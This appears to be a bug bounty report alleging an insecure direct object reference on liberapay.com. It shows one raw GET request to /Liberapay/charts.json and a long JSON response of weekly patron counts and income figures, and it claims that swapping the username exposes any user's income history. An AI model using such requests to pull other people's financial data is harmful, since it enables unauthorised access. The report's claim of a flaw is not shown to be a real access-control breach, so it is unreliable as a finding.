Hello,
I found an IDOR that i was able to view income history of other users,
Steps to reproduce issue,
GET /Liberapay/charts.json HTTP/1.1
Host: liberapay.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: https://liberapay.com/~107258/
Cookie: cookie
Connection: close
Response,
[
{
"date": "2018-05-30",
"npatrons": 639,
"receipts": {
"amount": "261.68",
"currency": "EUR"
}
},
{
"date": "2018-05-23",
"npatrons": 632,
"receipts": {
"amount": "259.93",
"currency": "EUR"
}
},
{
"date": "2018-05-16",
"npatrons": 638,
"receipts": {
"amount": "210.93",
"currency": "EUR"
}
},
{
"date": "2018-05-09",
"npatrons": 614,
"receipts": {
"amount": "209.83",
"currency": "EUR"
}
},
{
"date": "2018-05-02",
"npatrons": 602,
"receipts": {
"amount": "208.99",
"currency": "EUR"
}
},
{
"date": "2018-04-25",
"npatrons": 583,
"receipts": {
"amount": "206.15",
"currency": "EUR"
}
},
{
"date": "2018-04-18",
"npatrons": 568,
"receipts": {
"amount": "133.39",
"currency": "EUR"
}
},
{
"date": "2018-04-11",
"npatrons": 550,
"receipts": {
"amount": "171.99",
"currency": "EUR"
}
},
{
"date": "2018-04-04",
"npatrons": 541,
"receipts": {
"amount": "171.92",
"currency": "EUR"
}
},
{
"date": "2018-03-28",
"npatrons": 535,
"receipts": {
"amount": "168.50",
"currency": "EUR"
}
},
{
"date": "2018-03-21",
"npatrons": 522,
"receipts": {
"amount": "169.75",
"currency": "EUR"
}
},
{
"date": "2018-03-14",
"npatrons": 478,
"receipts": {
"amount": "163.06",
"currency": "EUR"
}
},
{
"date": "2018-03-07",
"npatrons": 466,
"receipts": {
"amount": "169.64",
"currency": "EUR"
}
},
{
"date": "2018-02-28",
"npatrons": 475,
"receipts": {
"amount": "166.92",
"currency": "EUR"
}
},
{
"date": "2018-02-21",
"npatrons": 470,
"receipts": {
"amount": "225.92",
"currency": "EUR"
}
},
{
"date": "2018-02-14",
"npatrons": 470,
"receipts": {
"amount": "151.92",
"currency": "EUR"
}
},
{
"date": "2018-02-07",
"npatrons": 461,
"receipts": {
"amount": "139.19",
"currency": "EUR"
}
},
{
"date": "2018-01-31",
"npatrons": 444,
"receipts": {
"amount": "139.19",
"currency": "EUR"
}
},
{
"date": "2018-01-24",
"npatrons": 438,
"receipts": {
"amount": "139.19",
"currency": "EUR"
}
},
{
"date": "2018-01-17",
"npatrons": 428,
"receipts": {
"amount": "141.01",
"currency": "EUR"
}
},
{
"date": "2018-01-10",
"npatrons": 419,
"receipts": {
"amount": "136.62",
"currency": "EUR"
}
},
{
"date": "2018-01-03",
"npatrons": 403,
"receipts": {
"amount": "136.42",
"currency": "EUR"
}
},
{
"date": "2017-12-27",
"npatrons": 386,
"receipts": {
"amount": "136.67",
"currency": "EUR"
}
},
{
"date": "2017-12-20",
"npatrons": 369,
"receipts": {
"amount": "150.26",
"currency": "EUR"
}
},
{
"date": "2017-12-13",
"npatrons": 332,
"receipts": {
"amount": "133.44",
"currency": "EUR"
}
},
{
"date": "2017-12-06",
"npatrons": 207,
"receipts": {
"amount": "92.16",
"currency": "EUR"
}
},
{
"date": "2017-11-29",
"npatrons": 204,
"receipts": {
"amount": "90.15",
"currency": "EUR"
}
},
{
"date": "2017-11-22",
"npatrons": 199,
"receipts": {
"amount": "79.93",
"currency": "EUR"
}
},
{
"date": "2017-11-15",
"npatrons": 196,
"receipts": {
"amount": "70.33",
"currency": "EUR"
}
},
{
"date": "2017-11-08",
"npatrons": 191,
"receipts": {
"amount": "71.33",
"currency": "EUR"
}
},
{
"date": "2017-11-01",
"npatrons": 178,
"receipts": {
"amount": "69.22",
"currency": "EUR"
}
},
{
"date": "2017-10-25",
"npatrons": 172,
"receipts": {
"amount": "69.12",
"currency": "EUR"
}
},
{
"date": "2017-10-18",
"npatrons": 169,
"receipts": {
"amount": "67.35",
"currency": "EUR"
}
},
{
"date": "2017-10-11",
"npatrons": 165,
"receipts": {
"amount": "66.25",
"currency": "EUR"
}
},
{
"date": "2017-10-04",
"npatrons": 162,
"receipts": {
"amount": "66.02",
"currency": "EUR"
}
},
{
"date": "2017-09-27",
"npatrons": 152,
"receipts": {
"amount": "63.32",
"currency": "EUR"
}
},
{
"date": "2017-09-20",
"npatrons": 149,
"receipts": {
"amount": "62.92",
"currency": "EUR"
}
},
{
"date": "2017-09-13",
"npatrons": 136,
"receipts": {
"amount": "59.72",
"currency": "EUR"
}
},
{
"date": "2017-09-06",
"npatrons": 127,
"receipts": {
"amount": "57.86",
"currency": "EUR"
}
},
{
"date": "2017-08-30",
"npatrons": 123,
"receipts": {
"amount": "57.86",
"currency": "EUR"
}
},
{
"date": "2017-08-23",
"npatrons": 113,
"receipts": {
"amount": "47.86",
"currency": "EUR"
}
},
{
"date": "2017-08-16",
"npatrons": 111,
"receipts": {
"amount": "45.41",
"currency": "EUR"
}
},
{
"date": "2017-08-09",
"npatrons": 104,
"receipts": {
"amount": "43.36",
"currency": "EUR"
}
},
{
"date": "2017-08-02",
"npatrons": 101,
"receipts": {
"amount": "43.91",
"currency": "EUR"
}
},
{
"date": "2017-07-26",
"npatrons": 95,
"receipts": {
"amount": "41.24",
"currency": "EUR"
}
},
{
"date": "2017-07-19",
"npatrons": 91,
"receipts": {
"amount": "39.22",
"currency": "EUR"
}
},
{
"date": "2017-07-12",
"npatrons": 87,
"receipts": {
"amount": "39.61",
"currency": "EUR"
}
},
{
"date": "2017-07-06",
"npatrons": 80,
"receipts": {
"amount": "38.16",
"currency": "EUR"
}
},
{
"date": "2017-06-28",
"npatrons": 76,
"receipts": {
"amount": "36.01",
"currency": "EUR"
}
},
{
"date": "2017-06-21",
"npatrons": 76,
"receipts": {
"amount": "39.03",
"currency": "EUR"
}
},
{
"date": "2017-06-14",
"npatrons": 71,
"receipts": {
"amount": "38.61",
"currency": "EUR"
}
},
{
"date": "2017-06-07",
"npatrons": 69,
"receipts": {
"amount": "40.11",
"currency": "EUR"
}
},
{
"date": "2017-05-31",
"npatrons": 70,
"receipts": {
"amount": "36.11",
"currency": "EUR"
}
},
{
"date": "2017-05-24",
"npatrons": 69,
"receipts": {
"amount": "34.86",
"currency": "EUR"
}
},
{
"date": "2017-05-17",
"npatrons": 68,
"receipts": {
"amount": "35.71",
"currency": "EUR"
}
},
{
"date": "2017-05-10",
"npatrons": 69,
"receipts": {
"amount": "32.71",
"currency": "EUR"
}
},
{
"date": "2017-05-03",
"npatrons": 68,
"receipts": {
"amount": "32.66",
"currency": "EUR"
}
},
{
"date": "2017-04-26",
"npatrons": 61,
"receipts": {
"amount": "30.21",
"currency": "EUR"
}
},
{
"date": "2017-04-19",
"npatrons": 53,
"receipts": {
"amount": "21.21",
"currency": "EUR"
}
},
{
"date": "2017-04-12",
"npatrons": 47,
"receipts": {
"amount": "22.01",
"currency": "EUR"
}
},
{
"date": "2017-04-05",
"npatrons": 47,
"receipts": {
"amount": "23.71",
"currency": "EUR"
}
},
{
"date": "2017-03-29",
"npatrons": 47,
"receipts": {
"amount": "24.21",
"currency": "EUR"
}
},
{
"date": "2017-03-22",
"npatrons": 46,
"receipts": {
"amount": "24.51",
"currency": "EUR"
}
},
{
"date": "2017-03-15",
"npatrons": 47,
"receipts": {
"amount": "24.51",
"currency": "EUR"
}
},
{
"date": "2017-03-08",
"npatrons": 48,
"receipts": {
"amount": "22.51",
"currency": "EUR"
}
},
{
"date": "2017-03-01",
"npatrons": 45,
"receipts": {
"amount": "19.51",
"currency": "EUR"
}
},
{
"date": "2017-02-22",
"npatrons": 43,
"receipts": {
"amount": "19.49",
"currency": "EUR"
}
},
{
"date": "2017-02-15",
"npatrons": 42,
"receipts": {
"amount": "19.91",
"currency": "EUR"
}
},
{
"date": "2017-02-08",
"npatrons": 42,
"receipts": {
"amount": "19.51",
"currency": "EUR"
}
},
{
"date": "2017-02-01",
"npatrons": 42,
"receipts": {
"amount": "19.51",
"currency": "EUR"
}
},
{
"date": "2017-01-25",
"npatrons": 40,
"receipts": {
"amount": "19.51",
"currency": "EUR"
}
},
{
"date": "2017-01-18",
"npatrons": 43,
"receipts": {
"amount": "20.16",
"currency": "EUR"
}
},
{
"date": "2017-01-11",
"npatrons": 40,
"receipts": {
"amount": "18.16",
"currency": "EUR"
}
},
{
"date": "2017-01-04",
"npatrons": 35,
"receipts": {
"amount": "18.16",
"currency": "EUR"
}
},
{
"date": "2016-12-28",
"npatrons": 33,
"receipts": {
"amount": "17.16",
"currency": "EUR"
}
},
{
"date": "2016-12-21",
"npatrons": 34,
"receipts": {
"amount": "17.06",
"currency": "EUR"
}
},
{
"date": "2016-12-14",
"npatrons": 32,
"receipts": {
"amount": "17.06",
"currency": "EUR"
}
},
{
"date": "2016-12-07",
"npatrons": 34,
"receipts": {
"amount": "18.50",
"currency": "EUR"
}
},
{
"date": "2016-11-30",
"npatrons": 30,
"receipts": {
"amount": "19.95",
"currency": "EUR"
}
},
{
"date": "2016-11-23",
"npatrons": 31,
"receipts": {
"amount": "20.95",
"currency": "EUR"
}
},
{
"date": "2016-11-16",
"npatrons": 30,
"receipts": {
"amount": "22.95",
"currency": "EUR"
}
},
{
"date": "2016-11-09",
"npatrons": 31,
"receipts": {
"amount": "24.22",
"currency": "EUR"
}
},
{
"date": "2016-11-02",
"npatrons": 31,
"receipts": {
"amount": "24.91",
"currency": "EUR"
}
},
{
"date": "2016-10-26",
"npatrons": 30,
"receipts": {
"amount": "24.91",
"currency": "EUR"
}
},
{
"date": "2016-10-19",
"npatrons": 27,
"receipts": {
"amount": "18.43",
"currency": "EUR"
}
},
{
"date": "2016-10-12",
"npatrons": 29,
"receipts": {
"amount": "18.93",
"currency": "EUR"
}
},
{
"date": "2016-10-05",
"npatrons": 27,
"receipts": {
"amount": "18.67",
"currency": "EUR"
}
},
{
"date": "2016-09-28",
"npatrons": 28,
"receipts": {
"amount": "22.92",
"currency": "EUR"
}
},
{
"date": "2016-09-21",
"npatrons": 30,
"receipts": {
"amount": "24.42",
"currency": "EUR"
}
},
{
"date": "2016-09-14",
"npatrons": 28,
"receipts": {
"amount": "19.17",
"currency": "EUR"
}
},
{
"date": "2016-09-07",
"npatrons": 28,
"receipts": {
"amount": "15.32",
"currency": "EUR"
}
},
{
"date": "2016-08-31",
"npatrons": 28,
"receipts": {
"amount": "15.32",
"currency": "EUR"
}
},
{
"date": "2016-08-24",
"npatrons": 28,
"receipts": {
"amount": "15.32",
"currency": "EUR"
}
},
{
"date": "2016-08-17",
"npatrons": 28,
"receipts": {
"amount": "18.32",
"currency": "EUR"
}
},
{
"date": "2016-08-10",
"npatrons": 29,
"receipts": {
"amount": "18.33",
"currency": "EUR"
}
},
{
"date": "2016-08-03",
"npatrons": 31,
"receipts": {
"amount": "19.43",
"currency": "EUR"
}
},
{
"date": "2016-07-27",
"npatrons": 31,
"receipts": {
"amount": "21.47",
"currency": "EUR"
}
},
{
"date": "2016-07-20",
"npatrons": 30,
"receipts": {
"amount": "21.22",
"currency": "EUR"
}
},
{
"date": "2016-07-13",
"npatrons": 36,
"receipts": {
"amount": "27.16",
"currency": "EUR"
}
},
{
"date": "2016-07-06",
"npatrons": 36,
"receipts": {
"amount": "27.16",
"currency": "EUR"
}
},
{
"date": "2016-06-29",
"npatrons": 47,
"receipts": {
"amount": "29.94",
"currency": "EUR"
}
},
{
"date": "2016-06-22",
"npatrons": 46,
"receipts": {
"amount": "28.94",
"currency": "EUR"
}
},
{
"date": "2016-06-15",
"npatrons": 47,
"receipts": {
"amount": "28.36",
"currency": "EUR"
}
},
{
"date": "2016-06-08",
"npatrons": 31,
"receipts": {
"amount": "16.54",
"currency": "EUR"
}
},
{
"date": "2016-06-01",
"npatrons": 30,
"receipts": {
"amount": "22.64",
"currency": "EUR"
}
},
{
"date": "2016-05-25",
"npatrons": 23,
"receipts": {
"amount": "11.93",
"currency": "EUR"
}
},
{
"date": "2016-05-18",
"npatrons": 20,
"receipts": {
"amount": "11.93",
"currency": "EUR"
}
},
{
"date": "2016-05-11",
"npatrons": 18,
"receipts": {
"amount": "10.52",
"currency": "EUR"
}
},
{
"date": "2016-05-04",
"npatrons": 17,
"receipts": {
"amount": "10.01",
"currency": "EUR"
}
},
{
"date": "2016-04-27",
"npatrons": 14,
"receipts": {
"amount": "8.26",
"currency": "EUR"
}
},
{
"date": "2016-04-20",
"npatrons": 13,
"receipts": {
"amount": "8.26",
"currency": "EUR"
}
},
{
"date": "2016-04-13",
"npatrons": 13,
"receipts": {
"amount": "8.31",
"currency": "EUR"
}
},
{
"date": "2016-04-06",
"npatrons": 11,
"receipts": {
"amount": "7.03",
"currency": "EUR"
}
},
{
"date": "2016-03-30",
"npatrons": 10,
"receipts": {
"amount": "6.51",
"currency": "EUR"
}
},
{
"date": "2016-03-23",
"npatrons": 9,
"receipts": {
"amount": "5.26",
"currency": "EUR"
}
},
{
"date": "2016-03-16",
"npatrons": 9,
"receipts": {
"amount": "5.01",
"currency": "EUR"
}
},
{
"date": "2016-03-09",
"npatrons": 9,
"receipts": {
"amount": "4.51",
"currency": "EUR"
}
},
{
"date": "2016-03-02",
"npatrons": 8,
"receipts": {
"amount": "4.51",
"currency": "EUR"
}
},
{
"date": "2016-02-24",
"npatrons": 6,
"receipts": {
"amount": "4.26",
"currency": "EUR"
}
},
{
"date": "2016-02-17",
"npatrons": 5,
"receipts": {
"amount": "2.76",
"currency": "EUR"
}
},
{
"date": "2016-02-10",
"npatrons": 3,
"receipts": {
"amount": "1.76",
"currency": "EUR"
}
}
]
i have taken Liberapay username for PoC for
If we change the username then we can see that users income history
Able to view income history of other users